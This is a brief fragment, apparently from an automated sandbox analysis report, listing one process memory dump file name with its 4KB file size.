                          • memory/3016-138-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

                            Filesize

                            4KB